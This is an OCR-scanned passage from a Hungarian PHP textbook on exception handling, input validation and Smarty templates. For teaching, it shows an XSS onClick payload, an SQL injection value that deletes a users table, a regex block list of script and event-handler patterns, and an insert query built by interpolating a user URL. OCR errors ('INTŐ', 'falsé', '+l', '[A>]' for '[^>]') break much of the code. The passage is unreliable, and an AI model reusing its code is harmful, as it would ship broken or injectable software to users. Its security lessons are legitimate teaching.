while($row = $this->fetch_assoc()) {
$retval[] = $row;
}
return $retval;
}
}

? >
96 PHP fejlesztés felsőfokon

A kivételek táncolása
Néha szükség lehet arra, hogy kezeljünk egy hibát, de emellett tovább is adjuk további hi-
bakezelőknek. Ezt úgy tehetjük meg, hogy a catch blokkban új kivételt váltunk ki:

<?php
try {
throw new Exception;
}
catch (Exception $e) {
print "Exception caught, and rethrown\n";
throw new Exception;
}
?>

A catch blokk elfogja a kivételt, kiírja a hibaüzenetet, majd új kivételt dob. Az előző pél-
dában nem szerepelt az új kivétel kezelésére szolgáló catch blokk, ezért azt nem tudjuk
elkapni. Figyeljük meg, mi történik, ha futtatjuk a kódot:

> php re-throw.php


Exception caught, and rethrown

Fatál error: Uncaught exception 'exception'! in Unknown on line 0

Valójában nem is szükséges új kivételt kiváltanunk. Újradobhatjuk az aktuális Exception


objektumot is, azonos eredménnyel:

<?php
try {
throw new Exception;
}
catch (Exception $e) {
print "Exception caught, and rethrown\n";
throw $e;
}
?>

A kivételek újradobásának lehetősége azért fontos, mert nem lehetünk biztosak benne,
hogy egy elfogott kivételt valóban kezelni szeretnénk. Tegyük fel például, hogy vissza sze-
retnénk követni webhelyünkön a hivatkozásokat. Ehhez az alábbi táblával rendelkezünk:

CREATE TABLE track_referrers (


url varchar2(128) not null primary key,
counter int
);
3. fejezet • Hibakezelés 97

Amikor egy adott URL-re először hivatkoznak, ezt kell végrehajtanunk:

INSERT INTŐ track_referrers VALUES('http://somé.url/ ' , 1)

A rákövetkező kérelmeknél ennek a végrehajtására van szükség:

UPDATE track_referrers SET counter=counter+l where url =


'http://somé.url/'

A táblában való kereséssel megállapíthatjuk, hogy létezik-e az URL sora, és annak alapján
kiválaszthatjuk a megfelelő lekérdezést. Emögött azonban meghúzódik egy feltételezés;
ugyanis ha két, ugyanarról az URL-ről érkező hivatkozást két különböző folyamat egy-
szerre dolgoz fel, az egyik beszúrás sikertelen lehet.

Tisztább megoldás, ha „vakon" végrehajtjuk a beszúrást, majd meghívjuk az update-et,


ha a beszúrás sikertelen volt és egyedikulcs-megsértést eredményezett. Ezután elkapha-
tunk minden MysqlException hibát, és a megfelelő helyen végrehajthatjuk a frissítést:

<?php
include "DB.inc";

function track_referrer($url) {
$insertq = "INSERT INTŐ referrers (url, count) VALUES(:1, :2)";
$updateq = "UPDATE referrers SET count=count+l WHERE url = :1";
$dbh = new DB_Mysql_Test;
try {
$sth = $dbh->prepare($insertq) ;
$sth->execute($url, 1);
}
catch (MysqlException $e) {
if($e->getCode == 1062) {
$dbh->prepare($updateq)->execute($url);
}
else {
throw $e;
}
}
}
?>

A másik megoldás, hogy tisztán típusos kivételt alkalmazunk, és maga az execute a hiba
alapján különböző kivételeket vált ki:
class Mysql_Dup_Val_On_Index extends MysqlException {}
//...
class DB_Mysql {
// ...
98 PHP fejlesztés felsőfokon

public function execute($query) {


if(!$this->dbh) {
$this->connect();
}
$ret = mysql_query($query, $this->dbh);
if(l$ret) {
if(mysql_errno() == 1062) {
throw new Mysql_Dup_Val_On_Index;
else {
throw new MysqlException;
}
}
else if(!is_resource($ret)) {
return TRUE;
} else {
return new MysqlStatement($ret);
}
}
}

Ezután az ellenőrzést a következőképpen végezhetjük el:

function track_referrer($url) {
$insertq = "INSERT INTŐ referrers ( ur l , count) VALUES('$url' , 1)";
$updateq = "UPDATE referrers SET count=count+l WHERE url = '$url'";
$dbh = new DB_Mysql_Test;
try {
$sth = $dbh->execute($insertq);
}
catch (Mysql_Dup_Val_On_Index $e) {
$dbh->execute($updateq);
}
}

Mindkét módszer megfelel; csak ízlésünktől és az alkalmazott stílustól függ, melyiket vá-
lasztjuk. Ha a típusos kivételek mellett döntünk, nagyobb rugalmasságot érhetünk el, ha
a Gyár minta segítségével állítjuk elő a hibákat, mint itt is:

class MysqlException {
// . . .
static function createError($message=false, $code=false) {
i f( !$ cod e) {
$code = mysql_errno() ;
}
if(!$message) {
$message = mysql_error();
}
3. fejezet • Hibakezelés 99

switch($code) {
case 1062:
return new Mysql_Dup_Val_On_Index($message, $code);
break;
default:
return new Mysql_Exception($message, $code);
break;
}
}
}

A jobb olvashatóság további előnyt jelent. Nem valamilyen titokzatos állandót dobunk, ha-
nem egy beszédes osztálynevet használunk. Ennek jelentőségét nem szabad alábecsülni.

Most már ahelyett, hogy adott hibákat váltanánk ki a kódban, elég ezt írnunk:
throw MysqlException::createError();

Konstruktőrön belüli hibák kezelése


A konstruktőrön belüli hibák kezelése egy objektumban meglehetősen nehéz. Az osztály-
konstruktoroknak a PHP-ben az adott osztály egy példányát kell visszaadniuk, így a lehe-
tőségek korlátozottak:

• Használhatunk egy kezdőértékkel ellátott tulajdonságot az objektumban, ami jelzi,


hogy az objektum előkészítése megfelelő volt-e.
• A konstruktorban nem végzünk előkészítést.
• Kivételt váltunk ki a konstruktorban.

Az első megoldás nem túl elegáns, és komolyan nem is vesszük fontolóra. A második
azonban meglehetősen általános módja a hibázó konstruktőrök kezelésének; a PHP4-ben
ez egyenesen a javasolt módszer.

A megvalósítás valahogy így történhet:


class ResourceClass {
protected $resource;
public function _____construct() {
// felhasználónév, jelszó stb. beállítása
}
public function init() {
if ( ($this->resource = resource_connect()) == falsé) {
return falsé;
}
return true;
}
}
100 PHP fejlesztés felsőfokon

Amikor a felhasználó létrehoz egy új ResourceClass objektumot, nem csinálunk sem-


mit, így hiba léphet fel. Ahhoz, hogy ténylegesen elindítsunk egy esetleg hibás kódot, az
init () tagfüggvényt hívjuk meg, ami következmény nélkül sikertelen lehet.

A harmadik módszer általában a legjobb, és ezt az a tény is megerősíti, hogy ez a konst-


ruktőrön belüli hibák kezelésének szabványos módja az olyan hagyományosabb objek-
tumközpontú nyelvekben, mint a C++. A C++-ban a konstruktorhívásoknál elhelyezett
catch blokkokban szereplő takarítás valamivel fontosabb, mint a PHP-ben, mert esetleg
memóriakezelésre lehet szükség. Szerencsére a PHP önműködően intézi a memóriakeze-
lést, mint itt is:

class Stillborn {
public function______ construct() {
throw new Exception;
}
public function___ destruct() {
print "destructing\n" ;
}
}
try {
$sb = new Stillborn;
}
catch(Stillborn $e) {}

Ha a fenti kódot futtatjuk, semmilyen kimenetet nem kapunk:

>php stillborn.php
>

A Stillborn osztály azt illusztrálja, hogy az objektum destruktorai nem hívódnak meg,
ha a konstruktorban kivétel keletkezik. Ennek oka az, hogy az objektum valójában nem is
létezik, ha a konstruktőrből nem térünk vissza.

Felső szintű kivételkezelő beállítása


A PHP érdekes szolgáltatása, hogy képesek vagyunk alapértelmezett kivételkezelőt beállítani,
amelynek meghívására akkor kerül sor, ha egy kivétel eléri a legfelső szintű hatókört, és elfo-
gására még mindig nem került sor. Ez a kezelő abban különbözik a normál catch blokkok-
tól, hogy egyetlen függvényből áll, ami bármilyen el nem fogott kivételt elkap, annak típusá-
tól függetlenül (még azokat a kivételeket is, amelyek nem az Exception-től származnak).

Az alapértelmezett kivételkezelők különösen hasznosak a webes alkalmazásokban, ahol


meg szeretnénk akadályozni, hogy a felhasználó hibaüzenetet kapjon, vagy egy oldal
csak részben jelenjen meg, ha el nem kapott kivétel keletkezik. Ha használjuk a PHP át-

_
3. fejezet • Hibakezelés 101

meneti kimenettárolási (output buffering) lehetőségét, hogy az oldal teljes feldolgozásáig


késleltessük a tartalommegjelenítést, elegánsan kijavíthatjuk a hibát és átadhatjuk a fel-
használónak a kért oldalt.

Alapértelmezett kivételkezelő beállításához egy olyan függvényt kell meghatároznunk,


ami egyetlen paramétert vár:

function default_exception_handler($exception) {}

A függvényt így állítjuk be:

$old_handler = set_exception_handler('default_exception_handler');

Itt az előzőleg beállított alapértelmezett kivételkezelőt kapjuk vissza (ha az létezik).

A felhasználói kivételkezelők egy veremben tárolódnak, ezért a korábbi kezelőt úgy állít-
hatjuk vissza, hogy annak egy másolatát a verem tetejére helyezzük:

set_exception_handler($old_handler);

De azt is megtehetjük, hogy kivesszük a veremből a felső elemet:

restore_exception_handler();

Ez jelentős rugalmasságot nyújt, például abban az esetben, ha egy felhasználót egy lap
előállítása közben fellépett hiba miatt másik oldalra kell átirányítanunk. Ahelyett, hogy
minden kérdéses utasítást önálló try blokkba csomagolnánk, beállíthatunk egy alapértel-
mezett kivételkezelőt, ami az átirányítást kezeli. Mivel hiba akkor is bekövetkezhet, ami-
kor az oldal egy része már megjelent, az átmeneti kimenettárolást be kell kapcsolnuk. En-
nek egyik módja, hogy minden beágyazott program (szkript) elején meghívjuk ezt:

ob_start();

A másik, hogy a php. ini állományban ezt a beállítást adjuk meg:

output_buffering = On

Az előbbi előnye, hogy az egyes beágyazott programokban a viselkedést könnyebben ki-


be kapcsolhatjuk, és a kód hordozhatóbb is lesz (mivel a viselkedést a program szabá-
lyozza, nem alapértelmezettől eltérő . ini beállítást igényel). A második megoldás vi-
szont azzal az előnnyel jár, hogy egyetlen beállításon keresztül engedélyezhetjük az átme-
neti kimenettárolást valamennyi beágyazott programban, így nem kell mindenütt külön
102 PHP fejlesztés felsőfokon

kódot beszúrnunk erre a célra. Én ha olyan kódot írok, amiről tudom, hogy csak a saját
kiszolgálómon fog futni, általában a könnyebbséget jelentő . ini beállítást részesítem
előnyben. Ha viszont olyan szoftvert készítek, amelyet mások fognak futtatni kiszolgálói-
kon, a leginkább hordozható megoldás mellett döntök. Többnyire már a projekt elején vi-
lágos, milyen megközelítést kell alkalmazni.

Az alábbi példa egy olyan alapértelmezett kivételkezelőt mutat, ami bármilyen el nem fo-
gott kivétel esetén automatikusan létrehoz egy hibaoldalt:

<?php
function redirect_on_error( $e) {
ob_end_clean();
include("error.html");
}
set_exception_handler("redirect_on__error");
ob_start();
// ...ide tetszőleges kód jöhet
?>

Ez a kezelő úgy támaszkodik az átmeneti kimenettárolásra, hogy amennyiben egy el nem


kapott kivétel eléri a legfelső hívási hatókört, minden addig előállított tartalmat elvet, és
helyette egy HTML hibaoldalt ad vissza.

A kezelő tovább javítható, ha azzal a képességgel bővítjük, hogy egyes hibatípusokat kü-
lönbözőképpen kezeljen. Ha például egy AuthException kivételt váltunk ki, a felhasz-
nálót egy hibaoldal megjelenítése helyett a bejelentkező oldalra irányíthatjuk:

<?php
function redirect_on_error($e) {
ob_end_clean();
if(is_a($e, "AuthException")) {
header("Location: /login.php");
}
else {
include("error.html");
}
}
set_exception_handler("redirect_on_error");
ob_start();
// ...ide tetszőleges kód jöhet
? >
3. fejezet • Hibakezelés 103

Adatérvényesítés
A webes programozásban a hibák egyik jelentős forrása az ügyfél által megadott adatok
ellenőrzésének (érvényesítésének) elmulasztása. Az adatérvényesítés azt jelenti, hogy el-
lenőrizzük, hogy az ügyféltől kapott adatok valóban a kívánt formájúak-e. A nem érvé-
nyesített adatok kétféle jelentősebb hibát eredményezhetnek:

• adatszemetet, és
• rosszindulatúan módosított adatokat.

Az adatszemét olyan információ, ami egyszerűen nem felel meg az előírásoknak. Vegyünk
például egy felhasználói bejelentkezési űrlapot, amelyen fel kell tüntetni a földrajzi helyet.
Ha a felhasználó szabadon beírhat bármit, az állam helyén például ilyesmiket találhatunk:

• New Yrok (elírás)


• Lalalala (szándékos)

Gyakori megoldás, hogy ezt a problémát lenyíló listával kerülik meg, amelyből kiválasztha-
tó az állam neve. Ez azonban csak félig oldja meg a gondot: azt megakadályozza, hogy
a felhasználó véletlenül rosszul adja meg az államot, de az ellen már nem nyújt védelmet,
ha valaki rosszindulatúan módosítja a POST adatokat, hogy nem létező beállítást adjon meg.

Védelmet az adhat, ha mindig érvényesítjük az adatokat a programban is. Ennek egyik


módja, hogy „saját kezűleg" ellenőrizzük a felhasználói bemenetet, mielőtt bármit csinál-
nánk vele:

<?php
$STATES = a r r a y( ' a l ' => 'Alabama',
/* ... * / ,
'wy' => 'Wyoming1);
function is_valid_state($state) {
global $STATES;
return array_key_exists($STATES, $state) ;
}
?>

Én gyakran választom azt a megoldást, hogy érvényesítő tagfüggvényeket adok az osztá-


lyokhoz. Ezek egységbe zárják az ellenőrzést, és megakadályozzák, hogy véletlenül ki-
hagyjam valamelyik tulajdonság érvényesítését. íme egy példa:
<?php

class User {
public id;
public name;
public city;
104 PHP fejlesztés felsőfokon

public state;
public zipcode;
public function __construct($attr = falsé) {
if($attr) {
$this->name = $attr['name'];
$this->email = $attr['email'];
$this->city = $attr['city'];
$this->state = $attr['state'];
$this->zipcode = $attr['zipcode'];
}
}
public function validateO {
if(strlen($this->name) > 100) {
throw new DataException;
}
if (strlen($this->city) > 100) {
throw new DataException;
}
if(!is_valid_state($this->state)) {
throw new DataException;
}
if(!is_valid_zipcode($this->zipcode)) {
throw new DataException;
}
}
}

?>

A validate () tagfüggvény a User objektum valamennyi tulajdonságát ellenőrzi, bele-


értve a következőket:

• az adatbázismezők hosszának való megfelelés,


• az idegen kulcs adatmegszorítások kezelése (például hogy a felhasználó által meg-
adott állam létezik-e),
• az űrlapadatok megszorításainak kezelése (például hogy az irányítószám érvényes-e).

A validate () tagfüggvény használatba vételéhez csak létre kell hoznunk egy új User
objektumot az ellenőrizendő felhasználói adatokkal:

$user = new User($_P0ST) ;

Majd meg kell hívnunk rá az érvényesítő függvényt:

try {
$user->validate();
}
3. fejezet • Hibakezelés 105

catch (DataException $e) {


/* Ide jön az érvénytelen adat esetén végrehajtandó művelet */
}

Az, hogy a validate () nem egyszerűen egy true vagy falsé értéket ad vissza, hanem
egy kivételt alkalmazunk, ismét azzal az előnnyel jár, hogy ha ezen a ponton egyáltalán
nem is szeretnénk try blokkot, megtehetjük, hogy a kivételt addig továbbítjuk a hívási
láncon, amíg a megfelelő kezelőhöz nem ér.

A rosszindulatú adatok közé természetesen nem csak nem létező államok tartozhatnak.
A rossz adatokhoz kapcsolódó érvényesítési támadások legnevezetesebbikét cross-site
scripting attack (kb. „helyközi programtámadás") néven emlegetik, és abból áll, hogy
rosszindulatú HTML kódot (általában ügyfél oldali kódcímkéket, például JavaScript cím-
kéket) rejtenek el egy felhasználói űrlapon.

Lássunk egy egyszerű példát. Webhelyünk felhasználóinak megengedjük, hogy a web-


helyen saját honlapjukra mutató hivatkozásokat helyezzenek el, amelyek valahogy így je-
lennek meg:

<a href="<?= $url ?>">Click on my home page</a>

Itt az url a felhasználó által megadható tetszőleges adatot jelent, így beírhatnak valami
ilyesmit:

$url ='"http://example.foo/" onClick="bad_javascript_func foo="';

Amikor a lapot betöltik, a következő megjelenítésére kerül sor:

<a href="http://example.foo/" onClick="bad_javascript_func foo=">


Click on my home page
</a>

Amikor valaki a hivatkozásra kattint, a fenti kód következtében végrehajtódik a rosszindu-


latú bad_javascript_func. Sőt, mivel a mi weblapunk indítja el, a JavaScript kód teljes
hozzáféréssel rendelkezik a felhasználónak az adott tartományhoz tartozó sütijei felett,
ami nagyon rossz, mert így a rosszindulatú felhasználók módosíthatják, ellophatják vagy
más módon felhasználhatják mások adatait.

Mondanunk sem kell, hogy a weblapokon megjelenített felhasználói adatok megfelelő ér-
vényesítése létfontosságú minden webhely biztonsága szemponjából. A kiszűrni kívánt
kódcímkéket természetesen saját működési szabályaink határozzák meg; én például drá-
kói szigorral visszautasítok minden szöveges adatot, ami JavaScript lehet.
106 PHP fejlesztés felsőfokon

íme egy példa:

<?php
$UNSAFE_HTML[] = "!javascriptAs*:!is";
$UNSAFE_HTML[] = "!vbscri?pt\s*:!is";
$UNSAFE_HTML[] = "!<\s*embed.*swf!is";
$UNSAFE_HTML[] = "!<[A>]*[Aa-z]onabort\s*=!is";
$UNSAFE_HTML [ ] = " ! < [ A > ] * [ Aa-z] onblur\s*= ! is " ;
$UNSAFE_HTML[] = "!<[A>]*[Aa-z]onchange\s*=!is" ;
$UNSAFE_HTML[] = " ! < [ " > ] * [Aa-z]onfocus\s*=!is";
$UNSAFE_HTML[] = "! < [ A > ] *[Aa-z]onmouseout\s*=!is";
$UNSAFE_HTML[] = " ! < [ " > ] * [Aa-z]onmouseover\s*=!is";
$UNSAFE_HTML[] = " ! < [ A>]*[Aa-z]onload\s*=!is" ;
$UNSAFE_HTML[] = "!<[A>]*[Aa-z]onreset\s*=!is";
$UNSAFE_HTML[] = "!<[A>]*[Aa-z]onselect\s*=!is " ;
$UNSAFE_HTML[] = "!< [ A>]*[Aa-z]onsubmit\s*=!is";
$UNSAFE_HTML[] = " !< [ A>]*[Aa-z]onunload\s*=!is";
$UNSAFE_HTML[] = "!<[A>]*[Aa-z]onerror\s*=!is";
$UNSAFE_HTML[] = "!<[A>]*[Aa-z]onclick\s*=!is" ;

function unsafe_html($html) {
global $UNSAFE_HTML;
$html = html_entities($html, ENT_COMPAT, ISO-8 8 5 9 -1 );
foreach ( $UNSAFE_HTML as $match ) {
if( preg_match($match, $html, $matches) ) {
return $match;
}
}
return falsé;
}
?>

Ha a közvetlenül címkékbe épített szövegeket engedélyezni kívánjuk (mint az előző pél-


dában), célszerű minden olyan szöveget kiszűrnünk, ami ügyfél oldali kódra hasonlít. Lás-
sunk egy példát:
$UNSAFE_HTML[] = "!onabort\ s*= !is " ;
$UNSAFE_HTML[] = "!onblur\s*=!is";
$UNSAFE_HTML[] = "!onchange\s*=!is";
$UNSAFE_HTML[] = "!onfocus\s*=!is";
$UNSAFE_HTML[] = "!onmouseout\s*= !is";
$UNSAFE_HTML[] = "!onmouseover\s*=!is";
$UNSAFE_HTML[] = "!onload\s*=!is";
$UNSAFE_HTML[] = "!onreset\s *= !is";
$UNSAFE_HTML[] = "!onselect\s*=!is";
$UNSAFE_HTML[] = "!onsubmit\s*=!is";
$UNSAFE_HTML[] = "!onunload\s*=!is";
$UNSAFE_HTML[] = "!onerror\s*=!is";
$UNSAFE_HTML[ ] = " !onclÍck\s*=!is";
3. fejezet • Hibakezelés 107

Gyakran vonzó lehet, hogy bekapcsoljuk a magic_quotes_gpc beállítást a php. ini


állományban, ami automatikusan idézőjelbe teszi a beérkező adatokat. Én magam nem
szeretem a magic_quotes-t. Egyeseket hamis biztonságérzetbe ringathat, pedig könnyen
írható olyan kód, ami az említett példához hasonlóan akkor is képes kárt okozni, ha
a magic_quotes beállítást bekapcsoljuk.

Adatérvényesítéskor (különösen a megjelenítendő adatoknál) gyakran választhatunk akö-


zött, hogy a szűrést és átalakítást az adatok tárolásakor (inbound, bejövő szűrés), vagy az
adatok megjelenítésekor (outbound, kimenő szűrés) végezzük el. A bemenet szűrése álta-
lában hatékonyabb és biztonságosabb. Csak egyszer kell végrehajtani, és a lehető legki-
sebbre csökkenthető annak kockázata, hogy megfeledkezünk az ellenőrzésről, ha több
helyen kell megjeleníteni az adatokat. A kimenet szűrése mellett két érv szólhat:

• Testreszabható szűrőkre van szükségünk (például többnyelvű szűréshez).


• Tartalomszűrőink gyakran változnak.

A második esetben valószínűleg az a legjobb, ha az ismert rosszindulatú tartalmat meg-


próbáljuk a bemeneten kiszűrni, és a kimenetre egy második szűrést alkalmazunk.

További adatérvényesítési kérdések

A weblapok megjelenítése nem az egyetlen hely, ahol az érvényesítetlen adatokat kihasz-


nálhatják. A felhasználóktól érkező minden adatot ellenőrizni kell, és használat előtt „ki
kell takarítani". Az adatbázis-lekérdezésekben például a beszúrandó adatokat megfelelő-
en idézőjelbe kell tenni. Az ilyen átalakító műveleteket segédfüggvények támogatják.

Nézzük az úgynevezett SQL-beszúrási (SQL injection) támadásokat. Tegyük fel, hogy az


alábbi lekérdezéssel rendelkezünk:

$query = "SELECT * FROM users where userid = $userid";

Az említett támadásfajta úgy működik, hogy ha a $userid változót nem érvényesítjük,


egy rosszindulatú felhasználó a következőt adhatja meg:

$userid = "10; DELETE FROM user s; ";

Mivel a MySQL (számos más RDBMS rendszerhez hasonlóan) támogatja több lekérdezés
egyidejű végrehajtását, a fenti érték ellenőrizetlen átadása következtében a users táblát
elveszítjük. És ez csak egy az ilyen jellegű támadások közül. A tanulság az, hogy a lekér-
dezésekben mindig minden adatot érvényesítenünk kell.
108 PHP fejlesztés felsőfokon

Mikor használjunk kivételeket?


Számos nézet létezik arra vonatkozóan, hol és hogyan célszerű kivételeket alkalmazni.
Egyes programozók szerint a kivételeknek csak a végzetes, illetve a valószínűleg végzetes
hibákat kell jelezniük. Mások a kivételeket a kódlogika vezérlésének alapvető elemeiként
használják. A Python programozási nyelv jó példa az utóbbi megközelítésre; e nyelvben
a kivételek szokványos vezérlési szerkezetnek számítanak.

A döntés nagyrészt az alkalmazott stílustól függ, és én ösztönösen bizalmatlan vagyok


azokkal a nyelvekkel szemben, amelyek megpróbálnak előírni egy bizonyos stílust. Ama
döntést megkönnyítendő, hogy hol és mikor használjunk kivételeket, érdemes átfutni
a buktatók alábbi listáját:

• A kivételek vezérlési szerkezetek, mint az if {}, az else{}, a while{} és


a foreach{}.
• A kivételek nem helyi vezérlésre (például egy kódblokkból egy másik hatókörbe
ugrásra) való használata nehezen átlátható kódot eredményez.
• A kivételek némileg lassabbak a hagyományos vezérlési szerkezeteknél.
• A kivételek növelik a memóriaszivárgás esélyét.

További olvasmányok
A helyközi támadásokkal és a rosszindulatú HTML kódokkal kapcsolatban az első számú
forrás a CERT CA-2000-02-es ajánlása, ami a www. cert. org/advisories/
CA-2 00 0-02.html címen érhető el.

Mivel a kivételek többé-kevésbé újdonságnak számítanak a PHP-ben, használatukkal kap-


csolatban valószínűleg érdemesebb Java és Python könyveket lapozgatnunk. A kivételek
nyelvtana a PHP-ben hasonló a Javáéhoz és a Pythonéhoz (bár - főleg az utóbbihoz ké-
pest - finom különbségeket mutat), az alapötlet viszont azonos.
Megvalósítás PHP nyelven:
a sablonok és a Világháló

A webes programozásban gyakran használt objektumközpontú programozási minta


a modell-nézet-vezérlő (MVC, Model-View-ControUer). Az MVC megköveteli, hogy az al-
kalmazást három összetevőre bontsuk:

• Modell - A rendszer azon belső része, amely a logika központi részét hajtja végre.
• Nézet - A rendszer valamennyi kimenetének formázásáról gondoskodó rész.
• Vezérlő - A bemenetet feldolgozó, és azt a modell felé közvetítő rész.

Az MVC eredetileg olyan gyors asztali alkalmazások fejlesztésére szolgáló módszer volt
a Smalltalk nyelvben, amelyekben egy adott folyamat többféleképpen fogadhat adatokat
és állíthat elő kimenetet. A legtöbb webes rendszer azonban egyetlen módon fogad ada-
tokat (valamilyen HTTP kérelmen keresztül), a bemenet feldolgozását pedig annak mére-
tétől függetlenül maga a PHP végzi, ezáltal nem kell törődnünk a vezérlő összetevővel.

Miután a vezérlőt eltávolítottuk, csak az marad hátra, hogy szétválasszuk az alkalmazáslo-


gikát a megjelenítési kódtól. Ez a következő előnyöket biztosítja:

• Az alkalmazás könnyebben módosítható lesz. A tiszta szétválasztás révén könnyen


módosíthatjuk mind az alkalmazáslogikát, mind az oldalak külső megjelenését,
anélkül, hogy ez hatással lenne a másik összetevőre.
i^ • Tisztább kódot kapunk. Mivel arra kényszerülünk, hogy eldöntsük, mi tartozik az al-
kalmazáslogikához és mi a megjelenítési kódhoz, a program sokkal jobban átlátható.
• Maximalizálhatjuk a megjelenítési kód újrahasznosítását. A PHP-ben megszokott
a kódok újrahasznosítása, de ha az alkalmazáskódot összekeverjük a HTML-lel, ez
sokkal nehezebb.
110 PHP fejlesztés felsőfokon

Az MVC-t webes környezetben általában sablonok segítségével valósítják meg. Sablon-


rendszer használatánál a HTML-t és a megjelenítési kódot egy sablon tartalmazza. A meg-
jelenítéssel nem foglalkozó alkalmazáslogika feldolgozza a kérelmeket, elvégzi a szüksé-
ges műveleteket, majd átadja a nyers adatokat a sablonnak, hogy az formázott kimenetet
állítson elő.

A PHP-ben számos módja van a sablonok alkalmazásának. Ebben a fejezetben a Smarty


sablonnyelwel ismerkedünk meg, ami az egyik legnépszerűbb és legrugalmasabb megol-
dás, de azt is megmutatjuk, hogyan dolgozhatunk ki saját sablonrendszert, ha a Smarty-t
nem találjuk számunkra megfelelőnek.

A Smarty tisztán sablonnyelv, ezért igen egyszerű, de amint vezérlési szerkezeteket, egyé-
ni függvényeket és módosítókat kezdünk használni, hamar bonyolulttá válhat. Ha valaki
képes összetett logikát megvalósítani a Smarty-ban, az ugyanerre a PHP-ben is képes -
ami nem feltétlenül rossz dolog. A PHP maga is remekül megfelel sablonnyelvnek, hiszen
olyan eszközöket biztosít, amelyekkel a formázási és megjelenítési utasítások egyszerűen
beépíthetők a HTML kódba.

Ha olyan környezetben dolgozunk, ahol a tervezők jól ismerik a PHP-t, és az egész csapat
(beleértve a tervezőket és a fejlesztőket is) képes fegyelmezetten szétválasztani a működési
és megjelenítési kódot, formális sablonnyelvre nincs is igazán szükség. Nekem ugyan soha
nem volt gondom olyan tervezőkkel, akik ne tudtak volna mit kezdeni a HTML-be épített
PHP kódokkal, de ismerőseim között akadtak, akik szenvedtek olyan tervezőcsapattal,
amelynek tagjai nem tudták kezelni az oldalakba ágyazott PHP-t, de a Smarty-val sikeresen
megoldották a gondjaikat. Még ha a csapat tud is bánni a PHP-vel, a sablonrendszerek rá-
kényszerítik őket a megjelenítés és az alkalmazásvezérlés szétválasztására, ami jó.

A megjelenítési és működési kód formális szétválasztása mellett a Smarty-hoz hasonló


sablonnyelvek legnagyobb előnye, hogy a nem megbízható végfelhasználóknak anélkül
adnak lehetőséget dinamikus oldalak készítésére, hogy hozzáférést nyújtanának a PHP
kódhoz. Ilyen megoldásra lehet szükség például, amikor virtuális bolt nyitására, testre-
szabható személyes oldalak készítésére vagy sablon alapján elektronikus levél írására sze-
retnénk lehetőséget adni.

Smarty
A Smarty az egyik legnépszerűbb és legszélesebb körben használt sablonrendszer a PHP
számára. Monté Ohrt és Andrej Zmijevszki dolgozták ki mint gyors és rugalmas sablon-
rendszert az alkalmazási és megjelenítési kód szétválasztásának ösztönzésére. A Smarty
a sablonfájlokban elhelyezett különleges jelek segítségével működik, melyeket tárolt PHP
programmá fordít. A fordítás a háttérben zajlik és a futás sebessége elfogadhatóan gyors.
fejezet • Megvalósítás PHP nyelven: a sablonok és a Világháló 111

A Smarty jócskán tartalmaz felesleges dolgokat is, amiket nem érdemes használnunk.
A legtöbb sablonrendszerhez hasonlóan olyan szolgáltatásokkal duzzasztották fel, ame-
lyek révén a sablonokban bonyolult kódokat helyezhetünk el. Természetesen igényeink-
től függ, mely szolgáltatásokat tiltjuk le vagy hagyjuk figyelmen kívül. (Erről a fejezetben
később még ejtünk szót.)

A Smarty telepítése
A Smarty, amelyet a http: / / smarty. php. net címről tölthetünk le, PHP osztályok hal-
mazából áll. Én gyakran használom a PEAR-t, így azt javaslom, a Smarty-t vegyük bele
a PEAR include elérési útjába. A Smarty ugyan nem PEAR projekt, de nincsenek köztük
névütközések, tehát biztonságosan elhelyezhető a PEAR hierarchiában.

Ha letöltöttük a Smarty-t, másoljuk minden könyvtárát a PEAR egy alkönyvtárába, vala-


hogy így;

> tar zxf Smarty-x.y.z.tar.gz


> mkdir /usr/local/lib/php/Smarty
> cp -R Smarty-x.y.z/libs/* /usr/local/lib/php/Smarty

Természetesen az /usr/local/lib/php-nek szerepelnie kell a php. ini állomány


include elérési útjában.

Ezután könyvtárakat kell létrehoznunk, amelyekből a Smarty kiolvashatja beállító- és sab-


lonfájljait, illetve helyet kell biztosítanunk a lefordított sablonoknak és az átmenetileg tá-
rolt fájloknak is.

A beállítási és nyerssablon-könyvtárakat én általában az állomás dokumentumgyökerébe


(DocumentRoot) helyezem, így ha az a /data/www/www.example . org/htdocs, az
említett könyvtárak a következők lesznek:

/data/www/www.example.org/templates
/data/www/www.example.org/smarty_config

A Smarty belsőleg kétszintű átmeneti tárolást tartalmaz. Az első szintet az jelenti, hogy
amikor először tekintünk meg egy sablont, a Smarty tiszta PHP kódra fordítja azt, és menti
az eredményt. Ez a tárolási lépés megakadályozza, hogy a sablonkódokat az első kérelem
után is minden alkalommal fel kelljen dolgozni. A második szint, hogy a Smarty az éppen
megjelenített tartalom átmeneti tárolását is megengedi. E szint engedélyezésével a fejezet-
ben később foglalkozunk.

A lefordított sablonokat és tárolt fájlokat a webkiszolgáló írja lemezre a sablonok első fel-
használásakor, így könyvtáraikhoz annak a felhasználónak, akinek a nevében a kiszolgáló
112 PHP fejlesztés felsőfokon

fut, írási jogosultsággal kell rendelkeznie. Biztonsági megfontolásokból én nem szeretem,


ha a webkiszolgáló a ServerRoot alatt bármilyen állományt módosíthat, ezért az említett
könyvtárakat egy másik könyvtárfába helyezem:

/data/cachefiles/www.example.org/teinplates_c
/data/cachefiles/www.example.org/smarty_cache

A legegyszerűbben úgy értesíthetjük a Smarty-t a könyvtárak helyéről, ha a Smarty alap-


osztályt kibővítjük minden alkalmazás (nem minden oldal) számára, amely használja.
Az example. org Smarty alosztályát például ezzel a kóddal hozhatjuk létre:

require_once 'Smarty/Smarty.class.php';

class Smarty_Example_Org extends Smarty {


public function ______construct()
{
$this->Smarty0;
$this->template_dir /data/www/www.example.org/templates';
$this->config_dir /data/www/www.example.org/smarty_config'
$this->compile_dir
'/data/cachefiles/www.example.org/templates_c'
$this->cache_dir
'/data/cachefiles/www.example.org/smarty_cache
}
}

Első Smarty sablonunk: Hello, Világi


Most, hogy a Smarty a helyére került, és a könyvtárakat létrehoztuk, megírhatjuk első
Smarty oldalunkat. Az alábbi tiszta PHP oldalt fogjuk sablonná alakítani:

<html>
<body>
Hello <?php
if(array_key_exists('name' $_COOKIE)) {
echó $_COOKIE['name'];
}
else {
echó "Stranger";
}
?>
</body>
</html>
|4. fejezet • Megvalósítás PHP nyelven: a sablonok és a Világháló 113

A sablon elérési útja a /data/www/www. example . org/templates/hello. tpl lesz,


és így fog kinézni:

<html>
<body>
Hello {$name}
</body>
</html>

A Smarty-kódok alapértelmezés szerint kapcsos zárójelek közé kerülnek.

A hello, php oldal, amely ezt a sablont használja, így fest:

require_once 'Smarty_ExampleOrg.php'; //Saját Smarty osztályunk


$smarty = new Smarty_ExampleOrg;
